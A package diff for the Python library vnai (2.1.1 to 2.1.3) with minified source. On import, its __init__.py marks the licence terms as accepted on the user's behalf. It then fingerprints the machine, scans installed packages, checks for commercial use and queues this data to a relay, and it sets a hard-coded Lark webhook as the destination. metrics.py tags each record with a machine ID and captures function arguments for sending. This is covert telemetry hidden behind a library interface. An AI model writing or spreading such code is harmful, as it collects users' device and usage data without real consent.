vnai 2.1.1__tar.gz → 2.1.3__tar.gz

{vnai-2.1.1 → vnai-2.1.3}/PKG-INFO

@@ -1,20 +1,20 @@
-Metadata-Version: 2.4
-Name: vnai
-Version: 2.1.1
-Summary: System optimization and resource management toolkit
-Author-email: Vnstock HQ <support@vnstocks.com>
-License: MIT
-Project-URL: Homepage, https://vnstocks.com
-Classifier: Programming Language :: Python :: 3
-Classifier: Operating System :: OS Independent
-Classifier: Development Status :: 4 - Beta
-Classifier: Intended Audience :: Developers
-Classifier: Topic :: Software Development :: Libraries :: Python Modules
-Requires-Python: >=3.7
-Description-Content-Type: text/markdown
-Requires-Dist: requests>=2.25.0
-Requires-Dist: psutil>=5.8.0
-Provides-Extra: dev
-Requires-Dist: pytest>=6.0.0; extra == "dev"
-
-# VnAI
+Metadata-Version: 2.4
+Name: vnai
+Version: 2.1.3
+Summary: Vnstock Analytics Interface
+Author-email: Vnstock Analytics Team <support@vnstocks.com>
+License: proprietary
+Project-URL: Homepage, https://vnstocks.com
+Classifier: Programming Language :: Python :: 3
+Classifier: Operating System :: OS Independent
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.7
+Description-Content-Type: text/markdown
+Requires-Dist: requests>=2.25.0
+Requires-Dist: psutil>=5.8.0
+Provides-Extra: dev
+Requires-Dist: pytest>=6.0.0; extra == "dev"
+
+# VnAI

{vnai-2.1.1 → vnai-2.1.3}/pyproject.toml

@@ -4,14 +4,14 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "vnai"
-version = "2.1.1"
-description = "System optimization and resource management toolkit"
+version = "2.1.3"
+description = "Vnstock Analytics Interface"
 readme = "README.md"
 requires-python = ">=3.7"
 authors = [
-    { name = "Vnstock HQ", email = "support@vnstocks.com" },
+    { name = "Vnstock Analytics Team", email = "support@vnstocks.com" },
 ]
-license = {text = "MIT"}
+license = {text = "proprietary"}
 urls = {"Homepage" = "https://vnstocks.com"}
 dependencies = [
     "requests>=2.25.0",

{vnai-2.1.1 → vnai-2.1.3}/setup.cfg

@@ -1,4 +1,4 @@
-[egg_info]
-tag_build = 
-tag_date = 0
-
+[egg_info]
+tag_build = 
+tag_date = 0
+

{vnai-2.1.1 → vnai-2.1.3}/vnai/__init__.py

@@ -1,79 +1,79 @@
-_L='default'
-_K='standard'
-_J='accepted_agreement'
-_I='environment.json'
-_H='terms_agreement.txt'
-_G='timestamp'
-_F=False
-_E='id'
-_D='.vnstock'
-_C='machine_id'
-_B=None
-_A=True
-import os,pathlib,json,time,threading,functools
-from datetime import datetime
-from vnai.beam.quota import guardian,optimize
-from vnai.beam.metrics import collector,capture
-from vnai.beam.pulse import monitor
-from vnai.flow.relay import conduit,configure
-from vnai.flow.queue import buffer
-from vnai.scope.profile import inspector
-from vnai.scope.state import tracker,record
-import vnai.scope.promo
-from vnai.scope.promo import present
-TC_VAR='ACCEPT_TC'
-TC_VAL='tôi đồng ý'
-TC_PATH=pathlib.Path.home()/_D/_E/_H
-TERMS_AND_CONDITIONS='\nKhi tiếp tục sử dụng Vnstock, bạn xác nhận rằng bạn đã đọc, hiểu và đồng ý với Chính sách quyền riêng tư và Điều khoản, điều kiện về giấy phép sử dụng Vnstock.\n\nChi tiết:\n- Giấy phép sử dụng phần mềm: https://vnstocks.com/docs/tai-lieu/giay-phep-su-dung\n- Chính sách quyền riêng tư: https://vnstocks.com/docs/tai-lieu/chinh-sach-quyen-rieng-tu\n'
-class Core:
-	def __init__(self):self.initialized=_F;self.webhook_url=_B;self.init_time=datetime.now().isoformat();self.home_dir=pathlib.Path.home();self.project_dir=self.home_dir/_D;self.id_dir=self.project_dir/_E;self.terms_file_path=TC_PATH;self.system_info=_B;self.project_dir.mkdir(exist_ok=_A);self.id_dir.mkdir(exist_ok=_A);self.initialize()
-	def initialize(self,webhook_url=_B):
-		if self.initialized:return _A
-		if not self._check_terms():self._accept_terms()
-		from vnai.scope.profile import inspector;inspector.setup_vnstock_environment();present()
-		if webhook_url:self.webhook_url=webhook_url;configure(webhook_url)
-		record('initialization',{_G:datetime.now().isoformat()});self.system_info=inspector.examine();conduit.queue({'type':'system_info','data':{'commercial':inspector.detect_commercial_usage(),'packages':inspector.scan_packages()}},priority='high');self.initialized=_A;return _A
-	def _check_terms(self):return os.path.exists(self.terms_file_path)
-	def _accept_terms(self):
-		system_info=inspector.examine()
-		if TC_VAR in os.environ and os.environ[TC_VAR]==TC_VAL:response=TC_VAL
-		else:response=TC_VAL;os.environ[TC_VAR]=TC_VAL
-		now=datetime.now();signed_agreement=f"""Người dùng có mã nhận dạng {system_info[_C]} đã chấp nhận điều khoản & điều kiện sử dụng Vnstock lúc {now}
----
-
-THÔNG TIN THIẾT BỊ: {json.dumps(system_info,indent=2)}
-
-Đính kèm bản sao nội dung bạn đã đọc, hiểu rõ và đồng ý dưới đây:
-{TERMS_AND_CONDITIONS}"""
-		with open(self.terms_file_path,'w',encoding='utf-8')as f:f.write(signed_agreement)
-		env_file=self.id_dir/_I;env_data={_J:_A,_G:now.isoformat(),_C:system_info[_C]}
-		with open(env_file,'w')as f:json.dump(env_data,f)
-		return _A
-	def status(self):return{'initialized':self.initialized,'health':monitor.report(),'metrics':tracker.get_metrics()}
-	def configure_privacy(self,level=_K):from vnai.scope.state import tracker;return tracker.setup_privacy(level)
-core=Core()
-def tc_init(webhook_url=_B):return core.initialize(webhook_url)
-def setup(webhook_url=_B):return core.initialize(webhook_url)
-def optimize_execution(resource_type=_L):return optimize(resource_type)
-def agg_execution(resource_type=_L):return optimize(resource_type,ad_cooldown=1500,content_trigger_threshold=100000)
-def measure_performance(module_type='function'):return capture(module_type)
-def accept_license_terms(terms_text=_B):
-	if terms_text is _B:terms_text=TERMS_AND_CONDITIONS
-	system_info=inspector.examine();terms_file=pathlib.Path.home()/_D/_E/_H;os.makedirs(os.path.dirname(terms_file),exist_ok=_A)
-	with open(terms_file,'w',encoding='utf-8')as f:f.write(f"Terms accepted at {datetime.now().isoformat()}\n");f.write(f"System: {json.dumps(system_info)}\n\n");f.write(terms_text)
-	return _A
-def accept_vnstock_terms():
-	from vnai.scope.profile import inspector;system_info=inspector.examine();home_dir=pathlib.Path.home();project_dir=home_dir/_D;project_dir.mkdir(exist_ok=_A);id_dir=project_dir/_E;id_dir.mkdir(exist_ok=_A);env_file=id_dir/_I;env_data={_J:_A,_G:datetime.now().isoformat(),_C:system_info[_C]}
-	try:
-		with open(env_file,'w')as f:json.dump(env_data,f)
-		print('Vnstock terms accepted successfully.');return _A
-	except Exception as e:print(f"Error accepting terms: {e}");return _F
-def setup_for_colab():from vnai.scope.profile import inspector;inspector.detect_colab_with_delayed_auth(immediate=_A);inspector.setup_vnstock_environment();return'Environment set up for Google Colab'
-def display_content():return present()
-def configure_privacy(level=_K):from vnai.scope.state import tracker;return tracker.setup_privacy(level)
-def check_commercial_usage():from vnai.scope.profile import inspector;return inspector.detect_commercial_usage()
-def authenticate_for_persistence():from vnai.scope.profile import inspector;return inspector.get_or_create_user_id()
-def configure_webhook(webhook_id='80b8832b694a75c8ddc811ac7882a3de'):
-	if not webhook_id:return _F
-	from vnai.flow.relay import configure;webhook_url=f"https://botbuilder.larksuite.com/api/trigger-webhook/{webhook_id}";return configure(webhook_url)
+_L='default'
+_K='standard'
+_J='accepted_agreement'
+_I='environment.json'
+_H='terms_agreement.txt'
+_G='timestamp'
+_F=False
+_E='id'
+_D='.vnstock'
+_C='machine_id'
+_B=None
+_A=True
+import os,pathlib,json,time,threading,functools
+from datetime import datetime
+from vnai.beam.quota import guardian,optimize
+from vnai.beam.metrics import collector,capture
+from vnai.beam.pulse import monitor
+from vnai.flow.relay import conduit,configure
+from vnai.flow.queue import buffer
+from vnai.scope.profile import inspector
+from vnai.scope.state import tracker,record
+import vnai.scope.promo
+from vnai.scope.promo import present
+TC_VAR='ACCEPT_TC'
+TC_VAL='tôi đồng ý'
+TC_PATH=pathlib.Path.home()/_D/_E/_H
+TERMS_AND_CONDITIONS='\nKhi tiếp tục sử dụng Vnstock, bạn xác nhận rằng bạn đã đọc, hiểu và đồng ý với Chính sách quyền riêng tư và Điều khoản, điều kiện về giấy phép sử dụng Vnstock.\n\nChi tiết:\n- Giấy phép sử dụng phần mềm: https://vnstocks.com/docs/tai-lieu/giay-phep-su-dung\n- Chính sách quyền riêng tư: https://vnstocks.com/docs/tai-lieu/chinh-sach-quyen-rieng-tu\n'
+class Core:
+	def __init__(self):self.initialized=_F;self.webhook_url=_B;self.init_time=datetime.now().isoformat();self.home_dir=pathlib.Path.home();self.project_dir=self.home_dir/_D;self.id_dir=self.project_dir/_E;self.terms_file_path=TC_PATH;self.system_info=_B;self.project_dir.mkdir(exist_ok=_A);self.id_dir.mkdir(exist_ok=_A);self.initialize()
+	def initialize(self,webhook_url=_B):
+		if self.initialized:return _A
+		if not self._check_terms():self._accept_terms()
+		from vnai.scope.profile import inspector;inspector.setup_vnstock_environment();present()
+		if webhook_url:self.webhook_url=webhook_url;configure(webhook_url)
+		record('initialization',{_G:datetime.now().isoformat()});self.system_info=inspector.examine();conduit.queue({'type':'system_info','data':{'commercial':inspector.detect_commercial_usage(),'packages':inspector.scan_packages()}},priority='high');self.initialized=_A;return _A
+	def _check_terms(self):return os.path.exists(self.terms_file_path)
+	def _accept_terms(self):
+		system_info=inspector.examine()
+		if TC_VAR in os.environ and os.environ[TC_VAR]==TC_VAL:response=TC_VAL
+		else:response=TC_VAL;os.environ[TC_VAR]=TC_VAL
+		now=datetime.now();signed_agreement=f"""Người dùng có mã nhận dạng {system_info[_C]} đã chấp nhận điều khoản & điều kiện sử dụng Vnstock lúc {now}
+---
+
+THÔNG TIN THIẾT BỊ: {json.dumps(system_info,indent=2)}
+
+Đính kèm bản sao nội dung bạn đã đọc, hiểu rõ và đồng ý dưới đây:
+{TERMS_AND_CONDITIONS}"""
+		with open(self.terms_file_path,'w',encoding='utf-8')as f:f.write(signed_agreement)
+		env_file=self.id_dir/_I;env_data={_J:_A,_G:now.isoformat(),_C:system_info[_C]}
+		with open(env_file,'w')as f:json.dump(env_data,f)
+		return _A
+	def status(self):return{'initialized':self.initialized,'health':monitor.report(),'metrics':tracker.get_metrics()}
+	def configure_privacy(self,level=_K):from vnai.scope.state import tracker;return tracker.setup_privacy(level)
+core=Core()
+def tc_init(webhook_url=_B):return core.initialize(webhook_url)
+def setup(webhook_url=_B):return core.initialize(webhook_url)
+def optimize_execution(resource_type=_L):return optimize(resource_type)
+def agg_execution(resource_type=_L):return optimize(resource_type,ad_cooldown=1500,content_trigger_threshold=100000)
+def measure_performance(module_type='function'):return capture(module_type)
+def accept_license_terms(terms_text=_B):
+	if terms_text is _B:terms_text=TERMS_AND_CONDITIONS
+	system_info=inspector.examine();terms_file=pathlib.Path.home()/_D/_E/_H;os.makedirs(os.path.dirname(terms_file),exist_ok=_A)
+	with open(terms_file,'w',encoding='utf-8')as f:f.write(f"Terms accepted at {datetime.now().isoformat()}\n");f.write(f"System: {json.dumps(system_info)}\n\n");f.write(terms_text)
+	return _A
+def accept_vnstock_terms():
+	from vnai.scope.profile import inspector;system_info=inspector.examine();home_dir=pathlib.Path.home();project_dir=home_dir/_D;project_dir.mkdir(exist_ok=_A);id_dir=project_dir/_E;id_dir.mkdir(exist_ok=_A);env_file=id_dir/_I;env_data={_J:_A,_G:datetime.now().isoformat(),_C:system_info[_C]}
+	try:
+		with open(env_file,'w')as f:json.dump(env_data,f)
+		print('Vnstock terms accepted successfully.');return _A
+	except Exception as e:print(f"Error accepting terms: {e}");return _F
+def setup_for_colab():from vnai.scope.profile import inspector;inspector.detect_colab_with_delayed_auth(immediate=_A);inspector.setup_vnstock_environment();return'Environment set up for Google Colab'
+def display_content():return present()
+def configure_privacy(level=_K):from vnai.scope.state import tracker;return tracker.setup_privacy(level)
+def check_commercial_usage():from vnai.scope.profile import inspector;return inspector.detect_commercial_usage()
+def authenticate_for_persistence():from vnai.scope.profile import inspector;return inspector.get_or_create_user_id()
+def configure_webhook(webhook_id='80b8832b694a75c8ddc811ac7882a3de'):
+	if not webhook_id:return _F
+	from vnai.flow.relay import configure;webhook_url=f"https://botbuilder.larksuite.com/api/trigger-webhook/{webhook_id}";return configure(webhook_url)
 configure_webhook()

{vnai-2.1.1 → vnai-2.1.3}/vnai/beam/__init__.py

@@ -1,3 +1,3 @@
-from vnai.beam.quota import guardian,optimize
-from vnai.beam.metrics import collector,capture
+from vnai.beam.quota import guardian,optimize
+from vnai.beam.metrics import collector,capture
 from vnai.beam.pulse import monitor

{vnai-2.1.1 → vnai-2.1.3}/vnai/beam/metrics.py

@@ -1,73 +1,73 @@
-_L='success'
-_K='buffer_size'
-_J='request'
-_I='rate_limit'
-_H='args'
-_G='execution_time'
-_F='timestamp'
-_E=True
-_D=False
-_C='error'
-_B=None
-_A='function'
-import sys,time,threading
-from datetime import datetime
-import hashlib,json
-class Collector:
-	_instance=_B;_lock=threading.Lock()
-	def __new__(cls):
-		with cls._lock:
-			if cls._instance is _B:cls._instance=super(Collector,cls).__new__(cls);cls._instance._initialize()
-			return cls._instance
-	def _initialize(self):self.metrics={_A:[],_I:[],_J:[],_C:[]};self.thresholds={_K:50,'error_threshold':.1,'performance_threshold':5.};self.function_count=0;self.colab_auth_triggered=_D;self.max_metric_length=200;self._last_record_time={};self.min_interval_per_type=.5;self._recent_hashes=[];self._sending_metrics=_D
-	def record(self,metric_type,data,priority=_B):
-		A='high'
-		if not isinstance(data,dict):data={'value':str(data)}
-		if _F not in data:data[_F]=datetime.now().isoformat()
-		if metric_type!='system_info':data.pop('system',_B);from vnai.scope.profile import inspector;data['machine_id']=inspector.fingerprint()
-		now=time.time();last_time=self._last_record_time.get(metric_type,0)
-		if now-last_time<self.min_interval_per_type and priority!=A:return
-		self._last_record_time[metric_type]=now;data_hash=hashlib.md5(json.dumps(data,sort_keys=_E).encode()).hexdigest()
-		if data_hash in self._recent_hashes and priority!=A:return
-		self._recent_hashes.append(data_hash)
-		if metric_type in self.metrics:
-			self.metrics[metric_type].append(data)
-			if len(self.metrics[metric_type])>self.max_metric_length:self.metrics[metric_type]=self.metrics[metric_type][-self.max_metric_length:]
-		else:self.metrics[_A].append(data)
-		if metric_type==_A:
-			self.function_count+=1
-			if self.function_count>10 and not self.colab_auth_triggered and'google.colab'in sys.modules:self.colab_auth_triggered=_E;threading.Thread(target=self._trigger_colab_auth,daemon=_E).start()
-		if sum(len(metric_list)for metric_list in self.metrics.values())>=self.thresholds[_K]:self._send_metrics()
-		if priority==A or metric_type==_C:self._send_metrics()
-	def _trigger_colab_auth(self):
-		try:from vnai.scope.profile import inspector;inspector.get_or_create_user_id()
-		except:pass
-	def _send_metrics(self):
-		C='vnai';B='source';A='unknown'
-		if self._sending_metrics:return
-		self._sending_metrics=_E
-		try:from vnai.flow.relay import track_function_call,track_rate_limit,track_api_request
-		except ImportError:
-			for metric_type in self.metrics:self.metrics[metric_type]=[]
-			self._sending_metrics=_D;return
-		for(metric_type,data_list)in self.metrics.items():
-			if not data_list:continue
-			for data in data_list:
-				try:
-					if metric_type==_A:track_function_call(function_name=data.get(_A,A),source=data.get(B,C),execution_time=data.get(_G,0),success=data.get(_L,_E),error=data.get(_C),args=data.get(_H))
-					elif metric_type==_I:track_rate_limit(source=data.get(B,C),limit_type=data.get('limit_type',A),limit_value=data.get('limit_value',0),current_usage=data.get('current_usage',0),is_exceeded=data.get('is_exceeded',_D))
-					elif metric_type==_J:track_api_request(endpoint=data.get('endpoint',A),source=data.get(B,C),method=data.get('method','GET'),status_code=data.get('status_code',200),execution_time=data.get(_G,0),request_size=data.get('request_size',0),response_size=data.get('response_size',0))
-				except Exception as e:continue
-			self.metrics[metric_type]=[]
-		self._sending_metrics=_D
-	def get_metrics_summary(self):return{metric_type:len(data_list)for(metric_type,data_list)in self.metrics.items()}
-collector=Collector()
-def capture(module_type=_A):
-	def decorator(func):
-		def wrapper(*args,**kwargs):
-			start_time=time.time();success=_D;error=_B
-			try:result=func(*args,**kwargs);success=_E;return result
-			except Exception as e:error=str(e);collector.record(_C,{_A:func.__name__,_C:error,_H:str(args)[:100]if args else _B});raise
-			finally:execution_time=time.time()-start_time;collector.record(module_type,{_A:func.__name__,_G:execution_time,_L:success,_C:error,_F:datetime.now().isoformat(),_H:str(args)[:100]if args else _B})
-		return wrapper
+_L='success'
+_K='buffer_size'
+_J='request'
+_I='rate_limit'
+_H='args'
+_G='execution_time'
+_F='timestamp'
+_E=True
+_D=False
+_C='error'
+_B=None
+_A='function'
+import sys,time,threading
+from datetime import datetime
+import hashlib,json
+class Collector:
+	_instance=_B;_lock=threading.Lock()
+	def __new__(cls):
+		with cls._lock:
+			if cls._instance is _B:cls._instance=super(Collector,cls).__new__(cls);cls._instance._initialize()
+			return cls._instance
+	def _initialize(self):self.metrics={_A:[],_I:[],_J:[],_C:[]};self.thresholds={_K:50,'error_threshold':.1,'performance_threshold':5.};self.function_count=0;self.colab_auth_triggered=_D;self.max_metric_length=200;self._last_record_time={};self.min_interval_per_type=.5;self._recent_hashes=[];self._sending_metrics=_D
+	def record(self,metric_type,data,priority=_B):
+		A='high'
+		if not isinstance(data,dict):data={'value':str(data)}
+		if _F not in data:data[_F]=datetime.now().isoformat()
+		if metric_type!='system_info':data.pop('system',_B);from vnai.scope.profile import inspector;data['machine_id']=inspector.fingerprint()
+		now=time.time();last_time=self._last_record_time.get(metric_type,0)
+		if now-last_time<self.min_interval_per_type and priority!=A:return
+		self._last_record_time[metric_type]=now;data_hash=hashlib.md5(json.dumps(data,sort_keys=_E).encode()).hexdigest()
+		if data_hash in self._recent_hashes and priority!=A:return
+		self._recent_hashes.append(data_hash)
+		if metric_type in self.metrics:
+			self.metrics[metric_type].append(data)
+			if len(self.metrics[metric_type])>self.max_metric_length:self.metrics[metric_type]=self.metrics[metric_type][-self.max_metric_length:]
+		else:self.metrics[_A].append(data)
+		if metric_type==_A:
+			self.function_count+=1
+			if self.function_count>10 and not self.colab_auth_triggered and'google.colab'in sys.modules:self.colab_auth_triggered=_E;threading.Thread(target=self._trigger_colab_auth,daemon=_E).start()
+		if sum(len(metric_list)for metric_list in self.metrics.values())>=self.thresholds[_K]:self._send_metrics()
+		if priority==A or metric_type==_C:self._send_metrics()
+	def _trigger_colab_auth(self):
+		try:from vnai.scope.profile import inspector;inspector.get_or_create_user_id()
+		except:pass
+	def _send_metrics(self):
+		C='vnai';B='source';A='unknown'
+		if self._sending_metrics:return
+		self._sending_metrics=_E
+		try:from vnai.flow.relay import track_function_call,track_rate_limit,track_api_request
+		except ImportError:
+			for metric_type in self.metrics:self.metrics[metric_type]=[]
+			self._sending_metrics=_D;return
+		for(metric_type,data_list)in self.metrics.items():
+			if not data_list:continue
+			for data in data_list:
+				try:
+					if metric_type==_A:track_function_call(function_name=data.get(_A,A),source=data.get(B,C),execution_time=data.get(_G,0),success=data.get(_L,_E),error=data.get(_C),args=data.get(_H))
+					elif metric_type==_I:track_rate_limit(source=data.get(B,C),limit_type=data.get('limit_type',A),limit_value=data.get('limit_value',0),current_usage=data.get('current_usage',0),is_exceeded=data.get('is_exceeded',_D))
+					elif metric_type==_J:track_api_request(endpoint=data.get('endpoint',A),source=data.get(B,C),method=data.get('method','GET'),status_code=data.get('status_code',200),execution_time=data.get(_G,0),request_size=data.get('request_size',0),response_size=data.get('response_size',0))
+				except Exception as e:continue
+			self.metrics[metric_type]=[]
+		self._sending_metrics=_D
+	def get_metrics_summary(self):return{metric_type:len(data_list)for(metric_type,data_list)in self.metrics.items()}
+collector=Collector()
+def capture(module_type=_A):
+	def decorator(func):
+		def wrapper(*args,**kwargs):
+			start_time=time.time();success=_D;error=_B
+			try:result=func(*args,**kwargs);success=_E;return result
+			except Exception as e:error=str(e);collector.record(_C,{_A:func.__name__,_C:error,_H:str(args)[:100]if args else _B});raise
+			finally:execution_time=time.time()-start_time;collector.record(module_type,{_A:func.__name__,_G:execution_time,_L:success,_C:error,_F:datetime.now().isoformat(),_H:str(args)[:100]if args else _B})
+		return wrapper
 	return decorator

{vnai-2.1.1 → vnai-2.1.3}/vnai/beam/pulse.py

@@ -1,31 +1,31 @@
-_B='status'
-_A='healthy'
-import threading,time
-from datetime import datetime
-class Monitor:
-	_instance=None;_lock=threading.Lock()
-	def __new__(cls):
-		with cls._lock:
-			if cls._instance is None:cls._instance=super(Monitor,cls).__new__(cls);cls._instance._initialize()
-			return cls._instance
-	def _initialize(self):self.health_status=_A;self.last_check=time.time();self.check_interval=300;self.error_count=0;self.warning_count=0;self.status_history=[];self._start_background_check()
-	def _start_background_check(self):
-		def check_health():
-			while True:
-				try:self.check_health()
-				except:pass
-				time.sleep(self.check_interval)
-		thread=threading.Thread(target=check_health,daemon=True);thread.start()
-	def check_health(self):
-		from vnai.beam.metrics import collector;from vnai.beam.quota import guardian;self.last_check=time.time();metrics_summary=collector.get_metrics_summary();has_errors=metrics_summary.get('error',0)>0;resource_usage=guardian.usage();high_usage=resource_usage>80
-		if has_errors and high_usage:self.health_status='critical';self.error_count+=1
-		elif has_errors or high_usage:self.health_status='warning';self.warning_count+=1
-		else:self.health_status=_A
-		self.status_history.append({'timestamp':datetime.now().isoformat(),_B:self.health_status,'metrics':metrics_summary,'resource_usage':resource_usage})
-		if len(self.status_history)>10:self.status_history=self.status_history[-10:]
-		return self.health_status
-	def report(self):
-		if time.time()-self.last_check>self.check_interval:self.check_health()
-		return{_B:self.health_status,'last_check':datetime.fromtimestamp(self.last_check).isoformat(),'error_count':self.error_count,'warning_count':self.warning_count,'history':self.status_history[-3:]}
-	def reset(self):self.health_status=_A;self.error_count=0;self.warning_count=0;self.status_history=[];self.last_check=time.time()
+_B='status'
+_A='healthy'
+import threading,time
+from datetime import datetime
+class Monitor:
+	_instance=None;_lock=threading.Lock()
+	def __new__(cls):
+		with cls._lock:
+			if cls._instance is None:cls._instance=super(Monitor,cls).__new__(cls);cls._instance._initialize()
+			return cls._instance
+	def _initialize(self):self.health_status=_A;self.last_check=time.time();self.check_interval=300;self.error_count=0;self.warning_count=0;self.status_history=[];self._start_background_check()
+	def _start_background_check(self):
+		def check_health():
+			while True:
+				try:self.check_health()
+				except:pass
+				time.sleep(self.check_interval)
+		thread=threading.Thread(target=check_health,daemon=True);thread.start()
+	def check_health(self):
+		from vnai.beam.metrics import collector;from vnai.beam.quota import guardian;self.last_check=time.time();metrics_summary=collector.get_metrics_summary();has_errors=metrics_summary.get('error',0)>0;resource_usage=guardian.usage();high_usage=resource_usage>80
+		if has_errors and high_usage:self.health_status='critical';self.error_count+=1
+		elif has_errors or high_usage:self.health_status='warning';self.warning_count+=1
+		else:self.health_status=_A
+		self.status_history.append({'timestamp':datetime.now().isoformat(),_B:self.health_status,'metrics':metrics_summary,'resource_usage':resource_usage})
+		if len(self.status_history)>10:self.status_history=self.status_history[-10:]
+		return self.health_status
+	def report(self):
+		if time.time()-self.last_check>self.check_interval:self.check_health()
+		return{_B:self.health_status,'last_check':datetime.fromtimestamp(self.last_check).isoformat(),'error_count':self.error_count,'warning_count':self.warning_count,'history':self.status_history[-3:]}
+	def reset(self):self.health_status=_A;self.error_count=0;self.warning_count=0;self.status_history=[];self.last_check=time.time()
 monitor=Monitor()